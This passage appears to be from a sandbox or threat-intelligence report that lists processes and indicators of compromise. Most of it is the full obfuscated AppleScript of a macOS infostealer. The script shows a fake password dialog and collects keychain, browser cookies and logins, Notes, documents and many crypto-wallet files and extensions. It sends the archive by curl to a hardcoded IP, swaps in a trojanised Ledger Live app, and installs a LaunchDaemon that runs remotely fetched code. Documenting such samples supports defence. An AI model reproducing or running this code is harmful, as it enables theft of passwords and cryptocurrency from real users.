\\\"Documents\\\" of (path to home folder)\" & return & \"repeat with r5970773334031856482 in (v8119924508541357890 & v6040935122466836241)\" & return & \"set v6932649326940113769 to name extension of r5970773334031856482\" & return & \"if v6932649326940113769 is in v6158381901122815805 then\" & return & \"set v5797793165775939366 to size of r5970773334031856482\" & return & \"if (v8469470304514680439 + v5797793165775939366) < 10 * 1024 * 1024 then\" & return & \"try\" & return & \"duplicate r5970773334031856482 to folder v8281920971863355302 with replacing\" & return & \"set v8469470304514680439 to v8469470304514680439 + v5797793165775939366\" & return & \"end try\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end tell\" & return & \"end try\" & return & \"end f1532446016022058365\" & return & \"on f8497057021342530935(p5900055593697774672, p8246563282623393106, p2010142394812967057, p5668794948295293669)\" & return & \"try\" & return & \"set v3255209542620155720 to (do shell script \\\"curl -X POST -H \\\\\\\"buildid: ba0069e5ee8f4f91ae69ccdb86b78076\\\\\\\" -H \\\\\\\"username: \\\" & p8246563282623393106 & \\\"\\\\\\\" -H \\\\\\\"repeat: \\\" & p5668794948295293669 & \\\"\\\\\\\" -H \\\\\\\"cid: \\\\\\\" --data-binary @/tmp/out.zip http://\\\" & p2010142394812967057 & \\\"/log\\\")\" & return & \"on error\" & return & \"if p5900055593697774672 < 10 then\" & return & \"delay 60\" & return & \"f8497057021342530935(p5900055593697774672 + 1, p8246563282623393106, p2010142394812967057)\" & return & \"end if\" & return & \"end try\" & return & \"end f8497057021342530935\" & return & \"on f7881539568187939281(p2485608757807931554)\" & return & \"try\" & return & \"set v7282284727864660204 to \\\"\\\"\" & return & \"set v4769200348931914948 to 0\" & return & \"tell application \\\"Notes\\\"\" & return & \"set v2532122926136842264 to {}\" & return & \"set v3660538997077474786 to every account\" & return & \"repeat with r6203686060571348040 in v3660538997077474786\" & return & \"try\" & return & \"set v6069917827788775140 to properties of every note in r6203686060571348040\" & return & \"set v4769200348931914948 to v4769200348931914948 + (length of v6069917827788775140)\" & return & \"repeat with r4231202708533315726 in v6069917827788775140\" & return & \"try\" & return & \"set v2473674755434718728 to (creation date of r4231202708533315726) & return & (body of r4231202708533315726)\" & return & \"copy v2473674755434718728 to end of v2532122926136842264\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"set v7282284727864660204 to v2532122926136842264 as text\" & return & \"end tell\" & return & \"if v4769200348931914948 > 0 then\" & return & \"set v7282284727864660204 to \\\"<h1>Notes Count: \\\" & (v4769200348931914948 as text) & \\\"</h1> <br><br><br> \\\" & v7282284727864660204\" & return & \"f6264705180628981705(v7282284727864660204, p2485608757807931554 & \\\"finder/notes.html\\\")\" & return & \"end if\" & return & \"end try\" & return & \"end f7881539568187939281\" & return & \"on f7738793407393166782(p7555612972716165088, p1320216238734915359, p4310207234123017821)\" & return & \"try\" & return & \"set v3970677117347150220 to \\\"/Applications/Ledger Live.app\\\"\" & return & \"list folder POSIX file v3970677117347150220\" & return & \"do shell script \\\"curl http://\\\" & p4310207234123017821 & \\\"/otherassets/ledger.zip -o /tmp/ledger.zip\\\"\" & return & \"try\" & return & \"do shell script \\\"pkill \\\" & quoted form of \\\"Ledger Live\\\"\" & return & \"end try\" & return & \"do shell script \\\"echo \\\" & quoted form of p1320216238734915359 & \\\" \| sudo -S rm -r \\\" & quoted form of v3970677117347150220\" & return & \"delay 0.01\" & return & \"do shell script \\\"unzip /tmp/ledger.zip -d /Applications\\\"\" & return & \"end try\" & return & \"end f7738793407393166782\" & return & \"on f7680579707267924922(p6319878029184497578, p8155257917916918513, p6151609391132453683)\" & return & \"try\" & return & \"set v3889753805557895190 to (random number from 10000 to 100000) as text\" & return & \"set v8451565999740633567 to \\\"com.\\\" & v3889753805557895190\" & return & \"set v5565569851091166079 to do shell script \\\"curl -s http://\\\" & p6151609391132453683 & \\\"/otherassets/plist\\\"\" & return & \"set v6729880044489636041 to \\\"<?xml version=\\\\\\\"1.0\\\\\\\" encoding=\\\\\\\"UTF-8\\\\\\\"?>\" & return & \"<!DOCTYPE plist PUBLIC \\\\\\\"-//Apple//DTD PLIST 1.0//EN\\\\\\\" \\\\\\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\\\\\">\" & return & \"<plist version=\\\\\\\"1.0\\\\\\\">\" & return & \"<dict>\" & return & \"<key>KeepAlive</key>\" & return & \"<true/>\" & return & \"<key>Label</key>\" & return & \"<string>\\\" & v8451565999740633567 & \\\"</string>\" & return & \"<key>ProgramArguments</key>\" & return & \"<array>\" & return & \"<string>/bin/bash</string>\" & return & \"<string>-c</string>\" & return & \" <string>\\\" & v5565569851091166079 & \\\"</string>\" & return & \"</array>\" & return & \"<key>UserName</key>\" & return & \" <string>\\\" & p6319878029184497578 & \\\"</string>\" & return & \"<key>RunAtLoad</key>\" & return & \"<true/>\" & return & \"<key>SessionCreate</key>\" & return & \"<true/>\" & return & \"</dict>\" & return & \"</plist>\\\"\" & return & \"f6264705180628981705(v6729880044489636041, \\\"/tmp/starter\\\")\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" \| sudo -S cp /tmp/starter /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"try\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" \| sudo -S launchctl bootstrap system /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"on error\" & return & \"do shell script \\\"nohup \\\" & v5565569851091166079 & \\\" >/dev/null 2>&1 &\\\"\" & return & \"end try\" & return & \"end try\" & return & \"end f7680579707267924922\" & return & \"on f7067467169335976972()\" & return & \"set v3611835577903818869 to (system attribute \\\"USER\\\")\" & return & \"set v5329093948850621050 to \\\"boss\\\"\" & return & \"set v6176627993449405708 to \\\"185.93.89.62\\\"\" & return & \"set v6007572078735828114 to \\\"\$ISBOT\$\\\"\" & return & \"set v5876564239486588955 to \\\"/Users/\\\" & v3611835577903818869\" & return & \"f6264705180628981705(v5329093948850621050, v5876564239486588955 & \\\"/.username\\\")\" & return & \"f6264705180628981705(v6176627993449405708, v5876564239486588955 & \\\"/.chost\\\")\" & return & \"set v8258978919954172053 to (random number from 10000 to 100000) as text\" & return & \"set v2545565665707699343 to \\\"/tmp/\\\" & v8258978919954172053 & \\\"/\\\"\" & return & \"try\" & return & \"set v5048646198888777399 to (do shell script \\\"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\\\")\" & return & \"f6264705180628981705(v5048646198888777399, v2545565665707699343 & \\\"hardware\\\")\" & return & \"end try\" & return & \"set v8210301408553245953 to v5876564239486588955 & \\\"/Library/\\\"\" & return & \"set v4968262434143532926 to v8210301408553245953 & \\\"Application Support/\\\"\" & return & \"set v2439337587433223164 to f8771517014503093342(v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"if not f5789441686885361081(v3611835577903818869, v2439337587433223164) then\" & return & \"set v2439337587433223164 to f4455047023799241882(v3611835577903818869, v2545565665707699343)\" & return & \"f6264705180628981705(v2439337587433223164, v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"end if\" & return & \"delay 0.01\" & return & \"f6264705180628981705(v2439337587433223164, v2545565665707699343 & \\\"pwd\\\")\" & return & \"set v7777708969300503610 to v8210301408553245953 & \\\"Group Containers/group.com.apple.notes/NoteStore.sqlite\\\"\" & return & \"f3260842499625414770(v7777708969300503610, v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-wal\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-wal\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-shm\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-shm\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/Cookies.binarycookies\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/saf1\\\")\" & return & \"f1532446016022058365(v2545565665707699343)\" & return & \"try\" & return & \"if f8771517014503093342(v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\") is equal to \\\"\\\" then\" & return & \"f7881539568187939281(v2545565665707699343)\" & return & \"end if\" & return & \"end try\" & return & \"set v5516568614182406442 to {{\\\"Chrome\\\", v4968262434143532926 & \\\"Google/Chrome/\\\"}, {\\\"Brave\\\", v4968262434143532926 & \\\"BraveSoftware/Brave-Browser/\\\"}, {\\\"Edge\\\", v4968262434143532926 & \\\"Microsoft Edge/\\\"}, {\\\"Vivaldi\\\", v4968262434143532926 & \\\"Vivaldi/\\\"}, {\\\"Opera\\\", v4968262434143532926 & \\\"com.operasoftware.Opera/\\\"}, {\\\"OperaGX\\\", v4968262434143532926 & \\\"com.operasoftware.OperaGX/\\\"}, {\\\"Chrome Beta\\\", v4968262434143532926 & \\\"Google/Chrome Beta/\\\"}, {\\\"Chrome Canary\\\", v4968262434143532926 & \\\"Google/Chrome Canary\\\"}, {\\\"Chromium\\\", v4968262434143532926 & \\\"Chromium/\\\"}, {\\\"Chrome Dev\\\", v4968262434143532926 & \\\"Google/Chrome Dev/\\\"}}\" & return & \"set v8490134006172949951 to {{\\\"Electrum\\\", v5876564239486588955 & \\\"/.electrum/wallets/\\\"}, {\\\"Coinomi\\\", v4968262434143532926 & \\\"Coinomi/wallets/\\\"}, {\\\"Exodus\\\", v4968262434143532926 & \\\"Exodus/\\\"}, {\\\"Atomic\\\", v4968262434143532926 & \\\"atomic/Local Storage/leveldb/\\\"}, {\\\"Wasabi\\\", v5876564239486588955 & \\\"/.walletwasabi/client/Wallets/\\\"}, {\\\"Ledger_Live\\\", v4968262434143532926 & \\\"Ledger Live/\\\"}, {\\\"Monero\\\", v5876564239486588955 & \\\"/Monero/wallets/\\\"}, {\\\"Bitcoin_Core\\\", v4968262434143532926 & \\\"Bitcoin/wallets/\\\"}, {\\\"Litecoin_Core\\\", v4968262434143532926 & \\\"Litecoin/wallets/\\\"}, {\\\"Dash_Core\\\", v4968262434143532926 & \\\"DashCore/wallets/\\\"}, {\\\"Electrum_LTC\\\", v5876564239486588955 & \\\"/.electrum-ltc/wallets/\\\"}, {\\\"Electron_Cash\\\", v5876564239486588955 & \\\"/.electron-cash/wallets/\\\"}, {\\\"Guarda\\\", v4968262434143532926 & \\\"Guarda/\\\"}, {\\\"Dogecoin_Core\\\", v4968262434143532926 & \\\"Dogecoin/wallets/\\\"}, {\\\"Trezor_Suite\\\", v4968262434143532926 & \\\"@trezor/suite-desktop/\\\"}}\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"Binance/app-store.json\\\", v2545565665707699343 & \\\"deskwallets/Binance/app-store.json\\\")\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"@tonkeeper/desktop/config.json\\\", \\\"deskwallets/TonKeeper/config.json\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Keychains/login.keychain-db\\\", v2545565665707699343 & \\\"kc\\\")\" & return & \"f6264705180628981705(v3611835577903818869, v2545565665707699343 & \\\"user\\\")\" & return & \"set v7965558497206143252 to {{\\\"Firefox\\\", v4968262434143532926 & \\\"Firefox/Profiles/\\\"}, {\\\"Waterfox\\\", v4968262434143532926 & \\\"Waterfox/Profiles/\\\"}}\" & return & \"repeat with r8845574607081690012 in v7965558497206143252\" & return & \"try\" & return & \"f2536643714453681639(item 1 of r8845574607081690012, item 2 of r8845574607081690012, v2545565665707699343)\" & return & \"end try\" & return & \"end repeat\" & return & \"repeat with r7976650121018849761 in v8490134006172949951\" & return & \"f8031310448975060865(item 2 of r7976650121018849761, v2545565665707699343 & \\\"deskwallets/\\\" & item 1 of r7976650121018849761)\" & return & \"end repeat\" & return & \"f1591517285159242142(v2545565665707699343, v5516568614182406442)\" & return & \"do shell script \\\"ditto -c -k --sequesterRsrc \\\" & v2545565665707699343 & \\\" /tmp/out.zip\\\"\" & return & \"f8497057021342530935(0, v5329093948850621050, v6176627993449405708, v6007572078735828114)\" & return & \"do shell script \\\"rm -r \\\" & v2545565665707699343\" & return & \"do shell script \\\"rm /tmp/out.zip\\\"\" & return & \"f7738793407393166782(v5876564239486588955, v2439337587433223164, v6176627993449405708)\" & return & \"try\" & return & \"if f8771517014503093342(v5876564239486588955 & \\\"/.botid\\\") is equal to \\\"\\\" then\" & return & \"f7680579707267924922(v3611835577903818869, v2439337587433223164, v6176627993449405708)\" & return & \"end if\" & return & \"end try\" & return & \"end f7067467169335976972\" & return & \"f7067467169335976972()\" & return"	Process not Found

ioc

Process

sh -c "osascript -e 'tell application \"terminal\" to set visible of the front window to false run script \"\" & return & \"on f5498098200027630037(p4589535765820734162)\" & return & \"try\" & return & \"set v4660640515867015918 to quoted form of (POSIX path of p4589535765820734162)\" & return & \"do shell script \\\"mkdir -p \\\" & v4660640515867015918\" & return & \"end try\" & return & \"end f5498098200027630037\" & return & \"on f8771517014503093342(p4993898616030614531)\" & return & \"try\" & return & \"set v3622299508332566895 to POSIX file p4993898616030614531\" & return & \"set v3830124729194131128 to read v3622299508332566895\" & return & \"return v3830124729194131128\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f8771517014503093342\" & return & \"on f2579889702040630272(p5191965497441309888)\" & return & \"try\" & return & \"set v5490052038534388146 to (reverse of every character of p5191965497441309888) as string\" & return & \"set v8170262523650959887 to text 1 thru ((offset of \\\"/\\\" in v5490052038534388146) - 1) of v5490052038534388146\" & return & \"set v8478334136396613953 to (reverse of every character of v8170262523650959887) as string\" & return & \"return v8478334136396613953\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f2579889702040630272\" & return & \"on f5587746576506220116(p4289323429601029164)\" & return & \"try\" & return & \"set v4779265971954391041 to offset of \\\"/\\\" in (reverse of every character of p4289323429601029164) as string\" & return & \"set v2534333169410523992 to text 1 thru -(v4779265971954391041 + 1) of p4289323429601029164\" & return & \"return v2534333169410523992\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f5587746576506220116\" & return & \"on f6264705180628981705(p7478832390020446534, p8679437718282592800)\" & return & \"try\" & return & \"set v7791588552321167638 to f5587746576506220116(p8679437718282592800)\" & return & \"f5498098200027630037(v7791588552321167638)\" & return & \"set v6119821030634884911 to (open for access p8679437718282592800 with write permission)\" & return & \"set eof of v6119821030634884911 to 0\" & return & \"write p7478832390020446534 to v6119821030634884911 starting at eof\" & return & \"close access v6119821030634884911\" & return & \"end try\" & return & \"end f6264705180628981705\" & return & \"on f3260842499625414770(p8302229028837966379, p6817047235429405060)\" & return & \"try\" & return & \"set v6928805829853103127 to read p8302229028837966379\" & return & \"set v8038606891662634209 to f5587746576506220116(p6817047235429405060)\" & return & \"f5498098200027630037(v8038606891662634209)\" & return & \"do shell script \\\"cat \\\" & quoted form of p8302229028837966379 & \\\" > \\\" & quoted form of p6817047235429405060\" & return & \"end try\" & return & \"end f3260842499625414770\" & return & \"on f3156936418114084484(p7483103834954789903)\" & return & \"try\" & return & \"set v8582577522004476657 to quoted form of (POSIX path of p7483103834954789903)\" & return & \"set v7222260162427611844 to (do shell script \\\"file -b \\\" & v8582577522004476657)\" & return & \"if v7222260162427611844 ends with \\\"directory\\\" then\" & return & \"return true\" & return & \"end if\" & return & \"end try\" & return & \"return false\" & return & \"end f3156936418114084484\" & return & \"on f8031310448975060865(p6165568718593603775, p3995091535608141842)\" & return & \"try\" & return & \"set v4427033544700151129 to {\\\".DS_Store\\\", \\\"Partitions\\\", \\\"Code Cache\\\", \\\"Cache\\\", \\\"market-history-cache.json\\\", \\\"journals\\\", \\\"Previews\\\", \\\"GPUCache\\\", \\\"DawnCache\\\", \\\"Crashpad\\\", \\\"DawnWebGPUCache\\\", \\\"DawnGraphiteCache\\\", \\\"__update__\\\", \\\"tor\\\"}\" & return & \"set v7135990229297471806 to list folder p6165568718593603775 without invisibles\" & return & \"f5498098200027630037(p3995091535608141842)\" & return & \"repeat with r7069205978427333072 in v7135990229297471806\" & return & \"if r7069205978427333072 is not in v4427033544700151129 then\" & return & \"set v5759125161221505170 to p6165568718593603775 & \\\"/\\\" & r7069205978427333072\" & return & \"set v6648899277418132977 to p3995091535608141842 & \\\"/\\\" & r7069205978427333072\" & return & \"if f3156936418114084484(v5759125161221505170) then\" & return & \"f8031310448975060865(v5759125161221505170, v6648899277418132977)\" & return & \"else\" & return & \"f3260842499625414770(v5759125161221505170, v6648899277418132977)\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8031310448975060865\" & return & \"on f4606271286205922702(p3252597281357569787, p6782276021266464194)\" & return & \"try\" & return & \"set v9062801922064180863 to POSIX file p3252597281357569787\" & return & \"set v2512143368881189483 to read v9062801922064180863\" & return & \"set v7665748634442153027 to offset of p6782276021266464194 in v2512143368881189483\" & return & \"if v7665748634442153027 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v6319362564426722198 to v7665748634442153027 + (length of p6782276021266464194)\" & return & \"set v1662349207260678648 to text v6319362564426722198 thru (v6319362564426722198 + 55) of v2512143368881189483\" & return & \"set v5869120015044447301 to offset of \\\"\\\\\\\\\\\" in v1662349207260678648\" & return & \"if v5869120015044447301 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v1119076493871920663 to text v6319362564426722198 thru (v6319362564426722198 + v5869120015044447301 - 2) of v2512143368881189483\" & return & \"return v1119076493871920663\" & return & \"on error\" & return & \"return \\\"not found\\\"\" & return & \"end try\" & return & \"end f4606271286205922702\" & return & \"on f8098720406337565837(p4135792100352579745, p4399015111798680940)\" & return & \"try\" & return & \"set v3445687237814926359 to {{\\\"MetaMask\\\", \\\"[email protected]\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\"\\\"}}\" & return & \"repeat with r2710029803435992307 in v3445687237814926359\" & return & \"set v5527760559889148014 to f4606271286205922702(p4135792100352579745 & \\\"/prefs.js\\\", item 2 of r2710029803435992307)\" & return & \"if v5527760559889148014 is not \\\"not found\\\" then\" & return & \"set v7272432386463749454 to p4135792100352579745 & \\\"/storage/default/\\\"\" & return & \"set v2548569600021713815 to list folder v7272432386463749454 without invisibles\" & return & \"repeat with r4503796059574804811 in v2548569600021713815\" & return & \"if (r4503796059574804811 contains v5527760559889148014) and (r4503796059574804811 contains \\\"userContext\\\") then\" & return & \"set v7111736942498542969 to v7272432386463749454 & r4503796059574804811 & \\\"/idb/\\\"\" & return & \"set v2059788629588650947 to list folder v7111736942498542969 without invisibles\" & return & \"repeat with r2240402379985096094 in v2059788629588650947\" & return & \"if f3156936418114084484(v7111736942498542969 & r2240402379985096094) then\" & return & \"f8031310448975060865(v7111736942498542969 & r2240402379985096094, p4399015111798680940 & \\\"/\\\" & item 1 of r2710029803435992307 & \\\"/\\\")\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8098720406337565837\" & return & \"on f2536643714453681639(p6491836862543296525, p1104512043356146378, p4719841690245269790)\" & return & \"try\" & return & \"set v8041447865609609921 to {\\\"/cookies.sqlite\\\", \\\"/formhistory.sqlite\\\", \\\"/key4.db\\\", \\\"/logins.json\\\"}\" & return & \"set v5741765454527728264 to list folder p1104512043356146378 without invisibles\" & return & \"repeat with r6569667071032230762 in v5741765454527728264\" & return & \"set v3283859923721329108 to p4719841690245269790 & \\\"gecko/\\\" & p6491836862543296525 & \\\"_\\\" & r6569667071032230762\" & return & \"f8098720406337565837(p1104512043356146378 & r6569667071032230762, v3283859923721329108)\" & return & \"set v4700655626243587894 to p1104512043356146378 & r6569667071032230762\" & return & \"repeat with r7733418144795446467 in v8041447865609609921\" & return & \"f3260842499625414770(v4700655626243587894 & r7733418144795446467, v3283859923721329108 & r7733418144795446467)\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f2536643714453681639\" & return & \"on f5789441686885361081(p7334453719510525956, p1729246370798074576)\" & return & \"try\" & return & \"set v2766682643012023727 to do shell script \\\"dscl . authonly \\\" & quoted form of p7334453719510525956 & space & quoted form of p1729246370798074576\" & return & \"if v2766682643012023727 is not equal to \\\"\\\" then\" & return & \"return false\" & return & \"else\" & return & \"return true\" & return & \"end if\" & return & \"on error\" & return & \"return false\" & return & \"end try\" & return & \"end f5789441686885361081\" & return & \"on f4455047023799241882(p8940679689014766929, p3632011921762080103)\" & return & \"try\" & return & \"if f5789441686885361081(p8940679689014766929, \\\"\\\") then\" & return & \"set v4919179166161086149 to do shell script \\\"security 2>&1 > /dev/null find-generic-password -ga \\\\\\\"Chrome\\\\\\\" | awk \\\\\\\"{print \$2}\\\\\\\"\\\"\" & return & \"f6264705180628981705(v4919179166161086149 as string, p3632011921762080103 & \\\"masterpass-chrome\\\")\" & return & \"else\" & return & \"repeat\" & return & \"set v4919179166161086149 to display dialog \\\"Required Application Helper. Please enter device password to continue.\\\" default answer \\\"\\\" with icon caution buttons {\\\"Continue\\\"} default button \\\"Continue\\\" giving up after 150 with title \\\"Application wants to install helper\\\" with hidden answer\" & return & \"set v1113402095258927485 to text returned of v4919179166161086149\" & return & \"if f5789441686885361081(p8940679689014766929, v1113402095258927485) then\" & return & \"return v1113402095258927485\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f4455047023799241882\" & return & \"on f5580828236190888392(p1723230788839028370, p5378765118834738397, p8092797049054828465, p2444943568190761710)\" & return & \"try\" & return & \"set v4846700367200223038 to list folder p1723230788839028370 without invisibles\" & return & \"repeat with r8306651402256042108 in v4846700367200223038\" & return & \"repeat with r6735850789153243997 in p8092797049054828465\" & return & \"if (r8306651402256042108 contains r6735850789153243997) then\" & return & \"set v5773195421035163669 to p1723230788839028370 & r8306651402256042108\" & return & \"set v1039143461784461798 to p5378765118834738397 & \\\"/\\\" & r6735850789153243997\" & return & \"if p2444943568190761710 then\" & return & \"set v1039143461784461798 to v1039143461784461798 & \\\"/IndexedDB/\\\"\" & return & \"end if\" & return & \"f8031310448975060865(v5773195421035163669, v1039143461784461798)\" & return & \"end if\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f5580828236190888392\" & return & \"on f1591517285159242142(p4863990634495586282, p6334719600918497600)\" & return & \"set v4405675767274189443 to {\\\"ldinpeekobnhjjdofggfgjlcehhmanlj\\\", \\\"nphplpgoakhhjchkkhmiggakijnkhfnd\\\", \\\"jbkgjmpfammbgejcpedggoefddacbdia\\\", \\\"fccgmnglbhajioalokbcidhcaikhlcpm\\\", \\\"nebnhfamliijlghikdgcigoebonmoibm\\\", \\\"fdcnegogpncmfejlfnffnofpngdiejii\\\", \\\"mfhbebgoclkghebffdldpobeajmbecfk\\\", \\\"ffbceckpkpbcmgiaehlloocglmijnpmp\\\", \\\"kfdniefadaanbjodldohaedphafoffoh\\\", \\\"bedogdpgdnifilpgeianmmdabklhfkcn\\\", \\\"kpfchfdkjhcoekhdldggegebfakaaiog\\\", \\\"klnaejjgbibmhlephnhpmaofohgkpgkd\\\", \\\"opcgpfmipidbgpenhmajoajpbobppdil\\\", \\\"mmmjbcfofconkannjonfmjjajpllddbg\\\", \\\"modjfdjcodmehnpccdjngmdfajggaoeh\\\", \\\"dkdedlpgdmmkkfjabffeganieamfklkm\\\", \\\"ifclboecfhkjbpmhgehodcjpciihhmif\\\", \\\"ppbibelpcjmhbdihakflkdcoccbgbkpo\\\", \\\"ejjladinnckdgjemekebdpeokbikhfci\\\", \\\"kkpllkodjeloidieedojogacfhpaihoh\\\", \\\"apnehcjmnengpnmccpaibjmhhoadaico\\\", \\\"jiepnaheligkibgcjgjepjfppgbcghmp\\\", \\\"jojhfeoedkpkglbfimdfabpdfjaoolaf\\\", \\\"idpdilbfamoopcfofbipefhmmnflljfi\\\", \\\"lbjapbcmmceacocpimbpbidpgmlmoaao\\\", \\\"oiohdnannmknmdlddkdejbmplhbdcbee\\\", \\\"fldfpgipfncgndfolcbkdeeknbbbnhcc\\\", \\\"fpkhgmpbidmiogeglndfbkegfdlnajnf\\\", \\\"lgmpcpglpngdoalbgeoldeajfclnhafa\\\", \\\"ilhaljfiglknggcoegeknjghdgampffk\\\", \\\"pfccjkejcgoppjnllalolplgogenfojk\\\", \\\"cnmamaachppnkjgnildpdmkaakejnhae\\\", \\\"eajafomhmkipbjmfmhebemolkcicgfmd\\\", \\\"emeeapjkbcbpbpgaagfchmcgglmebnen\\\", \\\"ibnejdfjmmkpcnlpebklmnkoeoihofec\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\", \\\"ffnbelfdoeiohenkjibnmadjiehjhajb\\\", \\\"fnjhmkhhmkbjkkabndcnnogagogbneec\\\", \\\"bcopgchhojmggmffilplmbdicgaihlkp\\\", \\\"cmoakldedjfnjofgbbfenefcagmedlga\\\", \\\"ifckdpamphokdglkkdomedpdegcjhjdp\\\", \\\"ibljocddagjghmlpgihahamcghfggcjc\\\", \\\"cjmkndjhnagcfbpiemnkdpomccnjblmj\\\", \\\"kbdcddcmgoplfockflacnnefaehaiocb\\\", \\\"cgeeodpfagjceefieflmdfphplkenlfk\\\", \\\"afbcbjpbpfadlkmhmclhkeeodmamcflc\\\", \\\"fdchdcpieegfofnofhgdombfckhbcokj\\\", \\\"gjlmehlldlphhljhpnlddaodbjjcchai\\\", \\\"ellkdbaphhldpeajbepobaecooaoafpg\\\", \\\"ojbcfhjmpigfobfclfflafhblgemeidi\\\", \\\"ghlmndacnhlaekppcllcpcjjjomjkjpg\\\", \\\"kgdijkcfiglijhaglibaidbipiejjfdp\\\", \\\"abkahkcbhngaebpcgfmhkoioedceoigp\\\", \\\"ammjlinfekkoockogfhdkgcohjlbhmff\\\", \\\"pdliaogehgdbhbnmkklieghmmjkpigpa\\\", \\\"jnlgamecbpmbajjfhmmmlhejkemejdma\\\", \\\"nbdhibgjnjpnkajaghbffjbkcgljfgdi\\\", \\\"jfdlamikmbghhapbgfoogdffldioobgl\\\", \\\"fijngjgcjhjmmpcmkeiomlglpeiijkld\\\", \\\"hgbeiipamcgbdjhfflifkgehomnmglgk\\\", \\\"pmmnimefaichbcnbndcfpaagbepnjaig\\\", \\\"cflgahhmjlmnjbikhakapcfkpbcmllam\\\", \\\"keenhcnmdmjjhincpilijphpiohdppno\\\", \\\"bipdhagncpgaccgdbddmbpcabgjikfkn\\\", \\\"bcenedbpaaegpnijoadpdjiachahncdg\\\", \\\"pocmplpaccanhmnllbbkpgfliimjljgo\\\", \\\"klghhnkeealcohjjanjjdaeeggmfmlpl\\\", \\\"cjookpbkjnpkmknedggeecikaponcalb\\\", \\\"ojggmchlghnjlapmfbnjholfjkiidbch\\\", \\\"dngmlblcodfobpdpecaadgfbcggfjfnm\\\", \\\"jnldfbidonfeldmalbflbmlebbipcnle\\\", \\\"ehjiblpccbknkgimiflboggcffmpphhp\\\", \\\"agoakfejjabomempkjlepdflaleeobhb\\\", \\\"fopmedgnkfpebgllppeddmmochcookhc\\\", \\\"dmkamcknogkgcdfhhbddcghachkejeap\\\", \\\"iglbgmakmggfkoidiagnhknlndljlolb\\\", \\\"opfgelmcmbiajamepnmloijbpoleiama\\\", \\\"gkeelndblnomfmjnophbhfhcjbcnemka\\\", \\\"dgiehkgfknklegdhekgeabnhgfjhbajd\\\", \\\"gafhhkghbfjjkeiendhlofajokpaflmk\\\", \\\"imlcamfeniaidioeflifonfjeeppblda\\\", \\\"penjlddjkjgpnkllboccdgccekpkcbin\\\", \\\"nhnkbkgjikgcigadomkphalanndcapjk\\\", \\\"egjidjbpglichdcondbcbdnbeeppgdph\\\", \\\"dlcobpjiigpikoobohmabehhmhfoodbb\\\", \\\"dldjpboieedgcmpkchcjcbijingjcgok\\\", \\\"acmacodkjbdgmoleebolmdjonilkdbch\\\", \\\"lccbohhgfkdikahanoclbdmaolidjdfl\\\", \\\"pcndjhkinnkaohffealmlmhaepkpmgkb\\\", \\\"gjagmgiddbbciopjhllkdnddhcglnemk\\\", \\\"cnncmdhjacpkmjmkcafchppbnpnhdmon\\\", \\\"mfgccjchihfkkindfppnaooecgfneiii\\\", \\\"ieldiilncjhfkalnemgjbffmpomcaigi\\\", \\\"ckklhkaabbmdjkahiaaplikpdddkenic\\\", \\\"loinekcabhlmhjjbocijdoimmejangoa\\\", \\\"mgffkfbidihjpoaomajlbgchddlicgpn\\\", \\\"pnndplcbkakcplkjnolgbkdgjikjednm\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"bgpipimickeadkjlklgciifhnalhdjhe\\\", \\\"pdadjkfkgcafgbceimcpbkalnfnepbnk\\\", \\\"jiidiaalihmmhddjgbnbgdfflelocpak\\\", \\\"aeachknmefphepccionboohckonoeemg\\\", \\\"gdokollfhmnbfckbobkdbakhilldkhcj\\\", \\\"jiiigigdinhhgjflhljdkcelcjfmplnd\\\", \\\"kmphdnilpmdejikjdnlbcnmnabepfgkh\\\", \\\"jaooiolkmfcmloonphpiiogkfckgciom\\\", \\\"fcckkdbjnoikooededlapcalpionmalo\\\", \\\"mdnaglckomeedfbogeajfajofmfgpoae\\\", \\\"ebfidpplhabeedpnhjnobghokpiioolj\\\", \\\"dbgnhckhnppddckangcjbkjnlddbjkna\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"epapihdplajcdnnkdeiahlgigofloibg\\\", \\\"iokeahhehimjnekafflcihljlcjccdbe\\\", \\\"cihmoadaighcejopammfbmddcmdekcje\\\", \\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", 